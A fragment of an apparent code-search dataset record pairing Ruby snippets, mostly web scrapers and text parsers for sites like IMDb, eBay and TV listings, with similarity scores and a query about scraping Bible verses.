|dl|\n\t\t\t\taa = dl.css('a.a').first\n\t\t\t\tlink = aa['href']\n\t\t\t\tbtlink = aa['data-bt']\n\t\t\t\tif btlink.empty?\n\t\t\t\t\tbtlink = nil\n\t\t\t\tend\n\t\t\t\tmd5 = dl.css('a.dlmd5').first['href'].sub(/^#/,'') rescue nil\n\t\t\t\tts = dl.css('a.dldate').first['data-timestamp'] rescue nil\n\t\t\t\tsavepath = File.join(root, type)\n\n\t\t\t\tdl = true\n\n\t\t\t\tif link[-1] == '/'\n\t\t\t\t\tSTDERR.puts \"# No automatic downloads for #{savepath}, go to #{link}\"\n\t\t\t\t\tdl = false\n\t\t\t\tend\n\n\t\t\t\t$dirs << savepath\n\t\t\t\tif dl\n\t\t\t\t\tfname = get_filename link\n\t\t\t\t\tfkey = fname.intern\n\t\t\t\t\t$files[fkey] << Game.new(fname, md5, savepath, link, btlink)#, ts)\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\nend", "def get_episode_info\n\n\t\tbegin\n\t\t\turl = source_url\n\t\t\t# url = \"https://www.tvspielfilm.de/tv-programm/sendung/miss-undercover,5cd28786818965652bf912ab.html\"\n\t\t\t# url = \"https://www.tvspielfilm.de/tv-programm/sendung/monitor,5cda852e81896518171f509c.html\"\n\t\t\tdoc \t\t\t= send_request(url)\n\t\t\tdata \t\t\t= doc.css(\"article.broadcast-detail\")\n\t\t\t# header \t\t= doc.css(\"header.broadcast-detail__header\")\n\t\t\t# duration \t\t= header.css(\"div.text-wrapper span.text-row\")[1].text[-7..-2] rescue nil\n\t\t\tchannel \t\t= doc.css(\"span.tv-show-label__channel\").text\n\t\t\tvideo \t\t\t= get_video_url(doc)\n\t\t\tdescription = doc.css(\"section.broadcast-detail__description p\").text.delete(\"\\\"\").delete(\"\\r\").delete(\"\\n\")\n\t\t\tcast \t\t\t= doc.css(\"section.cast dl\")\n\t\t\tcasts \t\t\t= get_cast(cast[0])\n\t\t\tactors \t\t\t= get_cast(cast[1])\n\t\t\tthumb = doc.css('div.editorial-rating')[0].values[0].split(\" \")[1] rescue nil\n\t\t\t# transmitter_valid(channel)\n\t\t\timage = doc.css(\".broadcast-detail__stage img\").first.attributes[\"src\"].value rescue []\n\t self.program.update(genre: casts[\"Genre\"]) if (casts[\"Genre\"].present? && program.genre.nil?)\n\t\t\t\n\t\t\tparam = {is_scraped: true} \n\t\t\tparam.merge!(preview_video_url: video) if video.present?\n\t\t\tself.update(param)\n\n\t self.episode_infos.create(description: description, country: casts[\"Land\"], year: casts[\"Jahr\"],age_rating: casts[\"Altersfreigabe\"], director: casts[\"Regie\"], producer: casts[\"Produzent\"], script: casts[\"Drehbuch\"], camera: casts[\"Kamera\"], music: casts[\"Musik\"], original_title: casts[\"Originaltitel\"], actors: actors ,thumb: thumb, image_urls: image)\n\t get_rating(doc)\n\t rescue StandardError => e\n\t \tRails.logger.info \"================================================\"\n\t \tRails.logger.info \"Having some issues during storing episode info.\"\n\t \tRails.logger.info \"#{e}\"\n\t end\n\tend", "def assign_values\n get_venues.each do |post|\n venue = Venue.new\n venue.name = post.css(\"h3 > a\").text\n venue.area = post.css(\"p:eq(1)\").text\n venue.hours = post.css(\"p:eq(2)\").text\n venue.description = post.css(\"p:eq(4)\").text\n binding.pry\n end\n end", "def scrapeProductPage (pageURL)\n\t$logger.info(\"Parsing product Page\");\n\tputs(\"hahaha\");\n\t$mechanizer.get(pageURL) do |page|\n\n\n\t\t\tproductTitle \t\t\t= page.parser.css('#title span');\n\t\t\t# productRating \t\t\t= parseCustomerRating(page.parser.css(\"#averageCustomerReviews_feature_div .a-icon-star\").to_s);\n\t\t\tshippingWeight\t \t\t= getShippingWeight(page);\n\t\t\tproductURL\t\t\t\t= pageURL;\n\t\t\tproductPictureImgURL\t= parseImageURL(page.parser.css(\"img#landingImage\").to_s);\n\n\t\t\tputs \"<tr><td>#{productTitle}</td> <td>#{shippingWeight}</td> <td>#{productURL}</td> <td>#{productPictureImgURL}</td></tr>;\"\n\t\t\t\n\t\t\t# puts shippingWeight;\n\t\t\t\n\tend\nend", "def ebay_scrap(scr)\n product = scr\n url = \"http://shop.ebay.com/?_from=R40&_trksid=p3907.m570.l1313&_nkw=#{product}&_sacat=See-All-Categories\"\n doc = Nokogiri::HTML(open(url))\n\n puts url\n doc.css(\".tp\").each do |item|\n text = item.at_css(\".v4lnk\").text\n price = item.at_css(\".prices\").text + \"rur\"\n puts \"#{text} - #{price}\"\n end\n\nend", "def leech_chapter(index)\n # puts \"Leeching chapter \\##{index}...\"\n doc = Nokogiri::HTML(open(\"#{FicSourceURL}/s/#{@fic_id}/#{index}\"), \"UTF-8\")\n \n # get chapter content inside #storytext\n content = doc.xpath('//div[@id=\"storytext\"]').first.inner_html\n # get chapter title from a dropdown menu\n # chapter titles in FF.net are written with this format: \"28. This is a chapter\"\n title = doc.xpath(\"//option[@value='#{index}']\").first.inner_text.gsub(/^\\d+\\. /, \"\")\n \n {:content => content, :title => title}\n end", "def parse\n lines = @text.split(\"\\n\")\n head = lines.shift\n head = head.gsub(/[[:punct:]]/, '')\n #head = head.gsub(/[[:space:]]|\\t/, '')\n head_match = Tables::Header_regex.match(head.strip)\n if head_match then\n @die = head_match[2].to_i\n @header = head_match[3].strip\n end\n lines.each { |l|\n l = l.gsub(/[[:punct:]]/, '')\n ti = Tables::Line_regex.match(l.strip)\n if ti then\n @outcomes << TableItem.new(ti.to_s)\n end\n }\n end", "def get_movie_info(movie_title)\n #page = HTTParty.get('http://www.imdb.com/title/tt0119081/')\n page = HTTParty.get(movie_title)\n # this is where we transform our http response into a nokogiri object so that we can parse it\n parse_page = Nokogiri::HTML(page)\n #now we grab the HTML content we want\n #GET TITLE\n movie_name = parse_page.xpath('//h1').text.strip\n p \"this is the movie_name \" + movie_name\n\n #GET Director\n director = parse_page.css('.credit_summary_item').text.gsub(\"\\n\",'').gsub(\"Director:\",\"\").strip\n director = director.split(\" \")[0]\n p \"this is the direcor \" + director\n\n\n #GET actors\n actors = []\n\n actor_1 = parse_page.xpath('//*[@id=\"title-overview-widget\"]/div[3]/div[2]/div[1]/div[4]/span[1]/a/span').inner_html\n actor_2 = parse_page.xpath('//*[@id=\"title-overview-widget\"]/div[3]/div[2]/div[1]/div[4]/span[2]/a/span').inner_html\n actor_3 = parse_page.xpath('//*[@id=\"title-overview-widget\"]/div[3]/div[2]/div[1]/div[4]/span[3]/a/span').inner_html\n p actors\n if actor_1 == \"\"\n p \"actors are NOT defined! ! ! \"\n actor_1 = parse_page.xpath('//*[@id=\"title-overview-widget\"]/div[3]/div[1]/div[4]/span[1]/a/span').inner_html\n actor_2 = parse_page.xpath('//*[@id=\"title-overview-widget\"]/div[3]/div[1]/div[4]/span[2]/a/span').inner_html\n actor_3 = parse_page.xpath('//*[@id=\"title-overview-widget\"]/div[3]/div[1]/div[4]/span[3]/a/span').inner_html\n else\n p \"it's all good homie.. here is actor _1 \"\n p actor_1\n end\n\n actors = [actor_1, actor_2, actor_3]\n\n p \"these are the main actors... \"\n p actors\n\n # characters = []\n # # char_1 = parse_page.xpath('//*[@id=\"titleCast\"]/table/tbody/tr[16]/td[4]/div/a')\n # char_1 = parse_page.xpath('//*[@id=\"titleCast\"]/table/tbody/tr[2]/td[4]/div/a').inner_html\n # char_2 = parse_page.xpath('//*[@id=\"titleCast\"]/table/tbody/tr[2]/td[4]').inner_html\n # # character_2 = parse_page.xpath('//*[@id=\"titleCast\"]/table/tbody/tr[3]/td[4]/div/a').inner_html\n # character_3 = parse_page.xpath('//*[@id=\"titleCast\"]/table/tbody/tr[4]/td[4]/div/a').inner_html\n # characters = [character_1, character_2, character_3]\n # p \"this the main characters... \"\n # p char_2\n\n # get rating\n rating = parse_page.xpath('//*[@id=\"title-overview-widget\"]/div[2]/div[2]/div/div[1]/div[1]/div[1]/strong/span').inner_html\n p \"this is the rating\"\n p rating\n new_rating = (rating.to_f)/10\n p \"this is the new rating\"\n p new_rating\n #GET TIME\n time = parse_page.xpath('//time').text.gsub(\"\\n\",'').strip[-7, 7]\n p \"this the time ... \"\n p time\n\n #GET plot\n # plot = parse_page.xpath('//*[@id=\"titleStoryLine\"]/div[1]/p').inner_html.gsub(\"\\n\",\" \")\n # plot = plot.split('<em', 2)\n # plot = plot[0].split('.',2)\n # plot_words = plot[1].scan(/\\w+ \\w+/)\n\n #GET keywords\n keywords = []\n kw_1 = parse_page.xpath('//*[@id=\"titleStoryLine\"]/div[2]/a[1]/span').inner_html\n kw_2 = parse_page.xpath('//*[@id=\"titleStoryLine\"]/div[2]/a[2]/span').inner_html\n kw_3 = parse_page.xpath('//*[@id=\"titleStoryLine\"]/div[2]/a[3]/span').inner_html\n kw_4 = parse_page.xpath('//*[@id=\"titleStoryLine\"]/div[2]/a[4]/span').inner_html\n keywords = [ kw_1,kw_2, kw_3, kw_4]\n p \"these are the keywords : \"\n p keywords\n\n # get tagline\n # tagline = parse_page.xpath('//*[@id=\"titleStoryLine\"]/div[3]').text\n # tagline = tagline.gsub(\"\\n\",\" \")\n # tagline = tagline.rpartition(\"Taglines:\")[2]\n # tagline = tagline.split(\"See more\")[0]\n\n\n #get review\n # review_page = movie_title.split('?', 2)\n # review_page = review_page[0] << \"reviews?ref_=tt_urv\"\n #\n # page = HTTParty.get(review_page)\n # # this is where we transform our http response into a nokogiri object so that we can parse it\n # parse_page = Nokogiri::HTML(page)\n # review = parse_page.xpath('//*[@id=\"tn15content\"]/p[10]').text.gsub(\"\\n\",\" \")\n\n\n movie_info = {\n time: time,\n actors: actors,\n # plot: plot,\n keywords: keywords,\n # characters: characters,\n director: director,\n movie_name: movie_name,\n # review: review,\n new_rating: new_rating,\n # tagline: tagline,\n }\n\n rescue\n end", "def load_notetags_craft_result_bubs_tocrafting(line)\n line =~ Bubs::Regexp::CRAFT_RESULT_OBJ_TAG\n \n case $1.upcase\n when \"COMMON_EVENT\", \"CEV\", \"EVENTO_COMUNE\", \"EVC\" # common event\n @tocrafting_cev = $2.to_i\n \n when \"AMOUNT\", \"AMT\", \"QUANTITÀ\" # amount\n @tocrafting_amount = $2.to_i\n\n end\n end", "def get_votd\n uri = \"#{URI}#{@version_number}\"\n feed = Feedjira.parse(HTTParty.get(uri).body)\n entry = feed.entries.first\n cleaned_text = clean_text(entry.content)\n\n @reference = entry.title\n @link = entry.entry_id\n @text = cleaned_text\n @copyright = get_copyright(entry.content)\n rescue => e\n # use default info for VotD\n set_defaults\n #raise e\n # @todo Add logging\n end" ]
[ "0.66651857", "0.60185486", "0.5984569", "0.57013804", "0.56346095", "0.55484354", "0.55468434", "0.5345324", "0.5207973", "0.50833035", "0.5078312", "0.5074357", "0.50493443", "0.50434434", "0.5029818", "0.49828693", "0.4969075", "0.49510396", "0.4945061", "0.49401522", "0.4933557", "0.4905836", "0.4855757", "0.4849138", "0.48442295", "0.48340657", "0.48291704", "0.48109922", "0.48060387", "0.4797778", "0.4797678", "0.47839326", "0.47779492", "0.47776946", "0.47707343", "0.47586352", "0.4758311", "0.47570977", "0.47471374", "0.474206", "0.473225", "0.4716037", "0.46909687", "0.468195", "0.46785802", "0.46744168", "0.46627128", "0.46527517", "0.46524554", "0.46518055", "0.46507978", "0.4636349", "0.46284756", "0.46284115", "0.46263617", "0.46246818", "0.4617757", "0.46150765", "0.4612248", "0.46096185", "0.46091813", "0.4599492", "0.4594702", "0.4588821", "0.4587342", "0.45835957", "0.4583426", "0.457908", "0.4568961", "0.45621353", "0.45607898", "0.4557684", "0.45528495", "0.4551131", "0.4547254", "0.4545384", "0.45438215", "0.45397067", "0.45377466", "0.4531236", "0.45264247", "0.45241588", "0.4516729", "0.45158386", "0.4515453", "0.4507487", "0.450388", "0.45024198", "0.45020044", "0.4499629", "0.44943485", "0.44920978", "0.44914433", "0.44882312", "0.44795388", "0.4477843", "0.4476118", "0.44688493", "0.44672728", "0.446303" ]
0.60670334
1
Scrapes verse text and if it exists creates a verse
def process_verse(book, chapter, verse_number) mapping = book_mapping(book) verse_text = scrape_verse(mapping, chapter, verse_number) out create_verse(book, chapter, verse_number, verse_text) if verse_text end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create_verse(book, chapter, verse_number, verse_text)\n Bible::Verse.create!({\n book: book,\n chapter: chapter,\n order: verse_number,\n text_translations: {\n translation => verse_text\n } \n })\n end", "def add_sentence_to_catalogue_if_unique(template) # <= String\n all_sentences = File.readlines(\"sentences.txt\")\n unless all_sentences.include? \"#{template}\\n\"\n File.open(\"sentences.txt\", \"a+\") do |file|\n file << \"#{template}\\n\"\n end\n end\nend", "def seed_file(file, adjective)\n text=File.open(file).read\n text.each_line do |line|\n if Word.where(word: line.chomp).empty?\n Word.create(word: line.chomp, adjective: adjective)\n end\n end\nend", "def create(filename, text); end", "def new_visit\n @phrase.add_visit\n end", "def add_tags_to_verses(document, text)\n html = text.to_str\n html.gsub!(/data-srcid\\s?=\\s?['\"](.*?)['\"]/) do |match|\n tagid = DmKnowledge::Document.tagcontext_from_srcid($1)\n tag_list = document.tag_list_on(tagid)\n unless tag_list.empty?\n \"#{match} data-tags='#{tag_list.to_json}' data-tagid='#{tagid}'\"\n else\n match\n end\n end\n html.html_safe\n end", "def create\n begin\n throw Exception(\"No vertical specified!\") if @vertical.nil?\n ActiveRecord::Base.transaction do\n\n @params[:text].split(/\\s*,\\s*/).each do |tag_text|\n next if tag_text.size == 0\n tag_text.downcase!\n tag = Tag.find_by(text: tag_text) || Tag.create!(text: tag_text)\n @vertical.tags << tag\n @vertical.save!\n end\n\n respond_with_success @redirect_path\n end\n rescue => e\n respond_with_error(\"The tag could not be created.\", @redirect_path)\n end\n end", "def create_text\n $game_text = {}\n text = {}\n key = \"\"\n SES::ExternalText::Languages.each do |l|\n $game_text.clear\n SES::ExternalText.each_file(\"Data/Text/#{l}\") do |f|\n File.open(f, \"r:BOM|UTF-8\") do |file|\n file.readlines.each_with_index do |v,i|\n next if v =~ /(^\\s*(#|\\/\\/).*|^\\s*$)/\n SES::ExternalText::Tags.each_pair do |k,p|\n if v =~ k\n p.call(*$~[1..-1])\n v.clear\n end\n end\n if SES::ExternalText.key && !v.empty?\n v = \"\\n#{v}\" unless $game_text[SES::ExternalText.key][1].empty?\n $game_text[SES::ExternalText.key][1] << v\n end\n end\n end\n end\n File.open(\"Data/#{l}.rvdata2\", \"w\") do |file|\n Marshal.dump($game_text, file)\n end\n end\n end", "def create(page, version)\n @page = Page.new(page)\n @page.versions << @version = Version.new(version.merge!(:remote_ip => request.remote_ip, :user => @user))\n if @page.valid? && @version.valid?\n response = check_comment_with_spam_engine(@page.url, @version.content_html)\n if response[:spam]\n Version.create_spam(@page.name,\n :content => @version.content,\n :spaminess => response[:spaminess],\n :signature => response[:signature],\n :remote_ip => @version.remote_ip\n )\n else\n @version.signature = response[:signature]\n @version.spaminess = response[:spaminess]\n @page.save\n end\n redirect url(:pages)\n else\n render :new\n end\n end", "def repair(text); end", "def\n \nend\n\n\n# 6. sentence_maker refactored solution", "def modify_line_logic\n f = open($BACK_UCF,\"r\")\n new = open($ORG_UCF,\"w\")\n mode = false\n match = false\n cont = false\n i = 0, j = 0\n target_word = \"\"\n\n while line = f.gets\n\n if/_rt/ =~ line\n if /^#/ =~ line\n else\n line = \"#\" + line\n end\n end\n\n if cont == true\n if /^#/ =~ line\n else\n line = \"#\" + line\n end\n if /}\\\";$/ =~ line\n cont = false\n end\n end \n \n $remove_list_bld.each do |net|\n error_net = net.gsub(\"\\/\",\"\\\\/\")\n error_net = error_net.gsub(\"\\[\",\"\\\\[\")\n net = error_net.gsub(\"\\]\",\"\\\\]\")\n if /#{net}/ =~ line\n if /^#/ =~ line\n elsif /\\AINST/ =~ line\n line = \"#\" + line\n if $VERBOSE == true\n printf(\"match [%4d]:%s\", i, line)\n i += 1\n end\n break\n elsif /\\ANET/ =~ line\n cont = true\n line = \"#\" + line\n if $VERBOSE == true\n printf(\"match [%04d]:%s\", i, line)\n i += 1\n end\n break\n else\n printf(\"[E] %s\", line)\n exit\n end\n end\n end\n if (j / 100) == 0\n printf(\".\")\n end\n j += 1\n new.write(line)\n end\n f.close\n printf(\"\\n\")\nend", "def add_text(text); end", "def process_text!\n return if self.processed || self.image.blank?\n\n tesseract_image = RTesseract.new(self.image.path, psm: 4)\n self.box_data = RTesseract::Box.new(self.image.path, psm: 4).words\n self.pdf = File.open(tesseract_image.to_pdf) if File.exist?(tesseract_image.to_pdf)\n self.text = tesseract_image.to_s.downcase\n self.line_count = self.text.split(\"\\n\").size\n\n ReceiptParser.new(self).process\n\n self.processed = true\n self.save!\n end", "def createUserContent(url,tag,content) \n #puts \"content: #{content}\"\n document = Hpricot(content) \n DocumentUtil::instance.removeTags document,[\"style\",\"script\"]\n docText = DocumentUtil::instance.textOnly document \n # Write contents for user out to a file... \n #puts \"Write content for user to file...\"\n #File.open(userFile,\"a\") do |outputFile|\n data = \"\" \n docText.each do |line|\n text = line.to_s.strip \n # Write non-empty lines to user file.\n if ! text.empty?\n #outputFile.puts text\n text = DocumentUtil::instance.removePunctuation text\n text = text.downcase\n text.split(/\\b/).each do |term|\n if term.match(/\\w/) && ! DocumentUtil::instance.isStopWord(term)\n data += term + \"\\n\"\n end\n end\n end\n end\n #end\n Content.new(url,tag,data)\n end", "def translator(file)\n #Opens the file\n text = File.read(file)\n #Check the content for any non vocals -> adds an o and the non vocal instead\n replace = text.gsub!(/([bcdfghjklmnpqrstvwxzBCDFGHJKLMNPQRSTVWXZ])/, '\\1o\\1')\n #Replace the original content with translated content\n File.open(file, \"w\") {|z| z.puts replace}\nend", "def identify(verse_string)\n # 1. Get basic information about input\n v_syllables = syllables(verse_string)\n v_weight = syllables_weights(v_syllables)\n\n # 2. Discover possible meter candidates\n # Should return list of meters with relevant information for generating correction if appropriate.\n # (Including size of match, etc.)\n m = analyze_syllables(v_syllables)\n\n # 3. Explain meter candidates\n\n # 3.1 Exact match => Show meter name, information, split input according to match (if possible).\n\n # 3.2 Fuzzy match => Generate possible corrections between input and candidates\n\n # 4. Output object containing input data, result status, and candidate meters\n # (with corrections if appropriate). No un-necessary results.\n\n meter_candidates = m[:meters]\n v_padas = []\n m_hsh = metercount\n\n if meter_candidates == {}\n m[:status] = \"Verse highly defective , Can't find neter\"\n v_meters = {}\n correct = []\n\n elsif m[:status] == \"exact match\"\n meter = meter_candidates.keys.first\n\n len = m_hsh[meter]\n v_padas << m[:syllables].slice!(0, len[0]).join(\"\")\n v_padas << m[:syllables].slice!(0, len[1]).join(\"\")\n v_padas << m[:syllables].slice!(0, len[2]).join(\"\")\n v_padas << m[:syllables].slice!(0, len[3]).join(\"\")\n\n defect_percentage = nil\n correct = []\n else\n d = 100.0\n pattern = []\n meter_candidates.each do |(key, val)|\n next unless val[0][:edit_distance].to_i < d # multiple verses with same edit distance???\n d = val[0][:edit_distance]\n meter = key\n pattern = val[0][:pattern].split(\"\")\n end\n\n defect_percentage = Rational(d, meter_candidates[meter][0][:pattern].length)\n n = fuzzy_correction(m[:weights], meter, pattern, m[:syllables])\n correct = n[:correct_weights]\n v_padas = n[:correct_padas]\n end\n\n v_corrections = {\n weights: correct.join(\"\"),\n padas: v_padas,\n }\n\n v_meters = {\n name: meter,\n size: \"full/half/pada\",\n defectiveness: defect_percentage,\n corrections: [v_corrections],\n }\n\n result = {\n verse: verse_string,\n syllables: v_syllables,\n weights: v_weight,\n status: m[:status],\n meter: [v_meters],\n }\n\n if result[:status] == \"exact match\"\n result[:meter] = v_meters[:name]\n result[:padas] = v_padas\n end\n\n result\n end", "def process\n # process url\n urls = self.text.scan(URL_REGEXP)\n urls.each { |url|\n tiny_url = open(\"http://tinyurl.com/api-create.php?url=#{url[0]}\") {|s| s.read} \n self.text.sub!(url[0], \"<a href='#{tiny_url}'>#{tiny_url}</a>\")\n } \n # process @\n ats = self.text.scan(AT_REGEXP)\n ats.each { |at| self.text.sub!(at, \"<a href='/#{at[2,at.length]}'>#{at}</a>\") } \n end", "def assign_tags\n if self.text\n self.tag_s = self.text.scan(/\\s+\\#\\S+/).join(' ')\n save\n end\n true\n end", "def save_text\n @lexemes << @lexeme\n end", "def perform(chapter)\n path = ActiveStorage::Blob.service.send(:path_for, chapter.chapter_file.key)\n all_strings = []\n f = IO.read(path, encoding: \"UTF-8\")\n text = JSON.parse(f)\n text['events'].each_with_index do |event, index|\n unless event.nil?\n event_id = index\n event['pages'].each do |page|\n page['list'].each do |i|\n # dialog codes MESSAGE = 401 CHOICE = 102 LOGIC_CHOISE = 402 FLOWING_STRING = 405\n if [401, 405].include?(i['code'])\n all_strings << [event_id, (i['parameters'][0].encode('utf-8').strip)]\n elsif i['code'] == 102\n i['parameters'][0].each do |str|\n all_strings << [event_id, str.encode('utf-8').strip]\n end\n elsif i['code'] == 402\n all_strings << [event_id, i['parameters'][1].encode('utf-8').strip]\n end\n end\n end\n end\n end\n # creating record Phrase.original\n phrases = []\n chapter.update_attribute(:phrases_count, all_strings.count)\n all_strings.each do |phrase|\n phrases << Phrase.new(original: phrase[1], chapter: chapter, event_id: phrase[0])\n end\n Phrase.import phrases\n end", "def detect(text)\n # Check dependency\n BioTCM::Databases::HGNC.ensure\n # Prepare symbol list\n unless @symbols\n @symbols = String.hgnc.symbol2hgncid.keys\n # Exclude symbol patterns\n @symbols.reject! { |sym| sym =~ @gene_regexp }\n end\n # Transform text\n (DEFAULT_TEXT_CHANGELIST + @text_changelist).each do |item|\n text.gsub!(item[0], item[1])\n end\n\n # Split sentences into words and eliminate redundancies\n rtn = text.split(/\\.\\s|\\s?[,:!?#()\\[\\]{}]\\s?|\\s/).uniq & @symbols\n # Return approved symbols\n @if_formalize ? rtn.formalize_symbol.uniq : rtn\n end", "def crack_vigenere file\n answer = \"\"\n words = gets_key_word_from_file file, (find_key_lengths_by_file file)\n words.each.with_index do |word, i|\n answer += \"Attempt: #{i + 1} : #{word} \\n\".red + \"#{v_decode_file 'secretcode.txt', word} \\n\"\n end\n answer\nend", "def process\n # process url\n urls = self.text.scan(URL_REGEXP)\n urls.each { |url|\n tiny_url = open(\"http://tinyurl.com/api-create.php?url=#{url[0]}\") { |s| s.read }\n self.text.sub!(url[0], \"<a href='#{tiny_url}'>#{tiny_url}</a>\")\n }\n \n # process @\n ats = self.text.scan(AT_REGEXP)\n ats.each { |at| \n self.text.sub!(at, \"<a href='/#{at[2,at.length]}'>#{at}</a>\")\n }\n\n end", "def save_unmatched_words # :nodoc:\n tokens = phrase_without_matches.split(' ')\n unmatched_db = Corpus.new(\"unmatched-#{program_name}.db\")\n tokens.each do |token|\n if !complex_token_matches?(token) # token was not transformed earlier\n @to_match << token\n unmatched_db[token] = @processor.original_text\n end\n end\n unmatched_db.close\n end", "def initialize(text, author, exists = false)\n @text = text\n @author = author\n @exists = exists\n end", "def get_votd\n netbible_data = JSON.parse(HTTParty.get(URI))\n\n # use bookname from first verse -- assume votd won't span books\n bookname = netbible_data[0][\"bookname\"]\n\n # use chapter from first verse -- assume votd won't span chapters\n chapter = netbible_data[0][\"chapter\"]\n\n # loop through each verse to get the verse numbers and verse text\n verse_numbers = Array.new\n verses = Array.new\n netbible_data.each do |verse|\n verse_numbers << verse[\"verse\"]\n verses << verse[\"text\"]\n end\n\n # now build the reference\n @reference = \"#{bookname} #{chapter}:#{verse_numbers.join(\"-\")}\"\n\n # build the text\n text = Helper::Text.strip_html_tags(verses.join(\" \"))\n text = Helper::Text.clean_verse_start(text)\n text = Helper::Text.clean_verse_end(text)\n\n @text = text\n\n @version = BIBLE_VERSION\n @version_name = BIBLE_VERSION_NAME\n\n @link = generate_link(bookname, chapter, verse_numbers.first)\n\n rescue => e\n # use default info for VotD\n set_defaults\n # @todo Add logging\n end", "def process(line, twine)\n raise \"Line was not a passage title.\" unless match = line.match(PASSAGE_NAME)\n\n passage = {}\n passage[\"name\"] = match.captures.first\n stimuli = []\n current_sense = nil\n\n # do the senses\n twine.each_line do |line|\n break if line.match(PASSAGE_NAME)\n next if line.blank?\n \n if match = line.match(SENSE_LINE)\n current_sense = match.captures.first\n next\n end\n\n stimulus = {}\n stimulus[\"sense\"] = current_sense\n stimulus[\"content\"] = line.strip\n stimuli << stimulus\n end\n\n # rewind to that title\n twine.seek(-line.length, IO::SEEK_CUR)\n\n passage[\"stimuli_attributes\"] = stimuli\n passage\nend", "def update(text); end", "def initialize(text)\n @points = 0\n @bad_matches = []\n @good_matches = []\n text = text.downcase\n allocate(text)\n end", "def create_passage(passage_text,question_bank_id,tenant_id)\n passage = Passage.find_by_passage_text_and_question_bank_id(passage_text,question_bank_id)\n if passage.nil? or passage.blank?\n passage = Passage.new\n passage.passage_text = passage_text\n passage.question_bank_id = question_bank_id\n passage.tenant_id = tenant_id\n passage.save\n end\n return passage\n end", "def search_for(verse)\n @query = {\n \"passage\" => verse\n }\n\n @results = self.class.get(\"#{@url}bible.php?\", :query => @query)\n\n @item = @results.parsed_response['bible']['range']['item']\n\n if @item.is_a? Array\n @text = @item.map do |item| \n \"#{item['verse']} #{item['text']} \\n\"\n end.join('')\n else\n @text = @item['text']\n end\n\n @text\n end", "def initialize(text)\n\n tagger_model = \"pt-pos-perceptron.bin\"\n if tagger_model == \"pt-pos-maxent.bin\"\n @article_tags = ['ART']\n @verb_tags = ['V']\n @auxiliary_verb_tags = ['VAUX']\n @participle_tags = ['PCP']\n @noun_tags = ['N', 'NPROP']\n @adjective_tags = ['ADJ']\n @adverb_tags = ['ADV', 'ADV-KS' 'ADV-KS-REL']\n @pronoun_tags = ['PROPESS', 'PROSUB', 'PROADJ', 'PRO-KS', 'PRO-KS-REL', ]\n @numeral_tags = ['NUM']\n @conjunction_tags = ['KS', 'KC']\n @preposition_tags = ['PREP', 'PREP+PROPESS', 'PREP+ART']\n @interjection_tags = ['IN']\n @denotative_word_tags = ['PDEN']\n @content_word_tags = @verb_tags + @noun_tags + @adjective_tags + @adverb_tags\n @function_word_tags = @article_tags + @preposition_tags + @pronoun_tags + @conjunction_tags + @interjection_tags\n\n @functions_as_noun_tags = ['N', 'NPROP', 'PROSUB']\n @functions_as_adjective_tags = ['ADJ', 'PROADJ']\n @punctuation_tags = ['PU']\n else\n @article_tags = ['art']\n @finito_tags = ['v-fin']\n @infinitive_tags = ['v-inf']\n @participle_tags = ['v-pcp']\n @gerundio_tags = ['v-ger']\n @noun_tags = ['n', 'prop']\n @adjective_tags = ['adj', 'n-adj']\n @adverb_tags = ['adv']\n @pronoun_tags = ['pron-pers', 'pron-indp']\n @denotative_word_tags = ['pron-det']\n @numeral_tags = ['num']\n @preposition_tags = ['prp']\n @conjunction_tags = ['conj-s', 'conj-c']\n @interjection_tags = ['intj']\n @punctuation_tags = ['punc']\n @functions_as_noun_tags = ['n', 'nprop']\n @functions_as_adjective_tags = ['adj', 'n-adj']\n @verb_tags = @finito_tags + @infinitive_tags + @participle_tags + @gerundio_tags\n @content_word_tags = @verb_tags + @noun_tags + @adjective_tags + @adverb_tags\n @function_word_tags = @article_tags + @preposition_tags + @pronoun_tags + @conjunction_tags + @interjection_tags\n end\n\n @tagger = OpenNLP::POSTaggerME.new(tagger_model)\n @tokenizer = OpenNLP::TokenizerME.new(\"pt-token.bin\")\n\n @tokens = @tokenizer.tokenize(text.gsub(/(\\p{Punct})/,\" \\\\1 \"))\n @part_of_speech = @tagger.tag(@tokens).to_a\n end", "def check_if_the_text_is_displayed_on_want_to_get_involved\n\n page.should have_content(read_file_content(WANT_TO_GET_INVOLVED_TEXT_PATH))\n\n end", "def initialize(text)\n @text = text\n @sentences = []\n @result = {}\n @text.gsub!(\"\\n\", '')\n get_sentences\n get_words\n print_concordance\n end", "def prepare_phrases\n text_array, prepared = @text.split, []\n 3.times do |time|\n prepared << random_phrase(text_array)\n end\n prepared\n end", "def obfuscate(text); end", "def store_article_text(entry)\n puts \"storing data\"\n if(entry.link != '#')\n \n # Get html from link\n response = Net::HTTP.get(URI.parse(entry.link))\n if(response.downcase.include?(\"<h1>moved permanently</h1>\"))\n html = Nokogiri::HTML(response, nil, 'UTF-8')\n tag = html.css(\"a\")\n link = tag.attribute('href')\n response = Net::HTTP.get(URI.parse(link))\n end\n \n # Use readability to find text from html\n data = Readability::Document.new(response || \"\")\n if(data.content == nil || data.content.length < 15)\n new_data = entry.description\n else\n new_data = data.content.gsub(/<[^>]+>/,\"\").squeeze(\" \").strip.toutf8 || \"\"\n end\n \n else\n new_data = entry.description\n end\n \n # Save data if new\n if(!entry.data || entry.data != new_data)\n entry.data = new_data\n return true\n end\n return false\nend", "def create\n\n if params[:sample]\n analyse = Ca::Analyse.new(HTMLReader.instance.page(params[:sample][:address]));\n end\n if params[:text]\n analyse = Ca::Analyse.new(params[:text][:content]);\n end\n descript = analyse.description\n @problems = descript.problems\n @text = descript.text\n @best_phrases = Hash[analyse.description.first_n]\n @nr_of_chars = descript.text_number_of_chars\n @nr_of_words = descript.text_number_of_words\n @nr_of_nodes = descript.nr_of_nodes\n @score = descript.score\n @plagiarism = descript.plagiarism\n @html = descript.text.to_s.force_encoding(\"UTF-8\")\n @tags_problem = descript.tag_problem_flag\n end", "def do_update! results\r\n\trequire 'sunflower'\r\n\ts = Sunflower.new.login\r\n\t\r\n\tbasepage = \"Wikiprojekt:Nauki medyczne/Ilustrowanie/Histologia\"\r\n\ts.summary = 'automatyczny update listy'\r\n\t\r\n\tfiles = bysize results\r\n\t\r\n\tfiles.each do |fn|\r\n\t\ttitlebit = fn.sub(/\\.txt\\Z/, '')\r\n\t\r\n\t\ttext = File.read fn\r\n\t\tp = Page.new \"#{basepage}/#{titlebit}\"\r\n\t\t\r\n\t\tif !p.pageid # page doesn't exist yet\r\n\t\t\tp.text = \"Zobacz: [[#{basepage}]].\" + 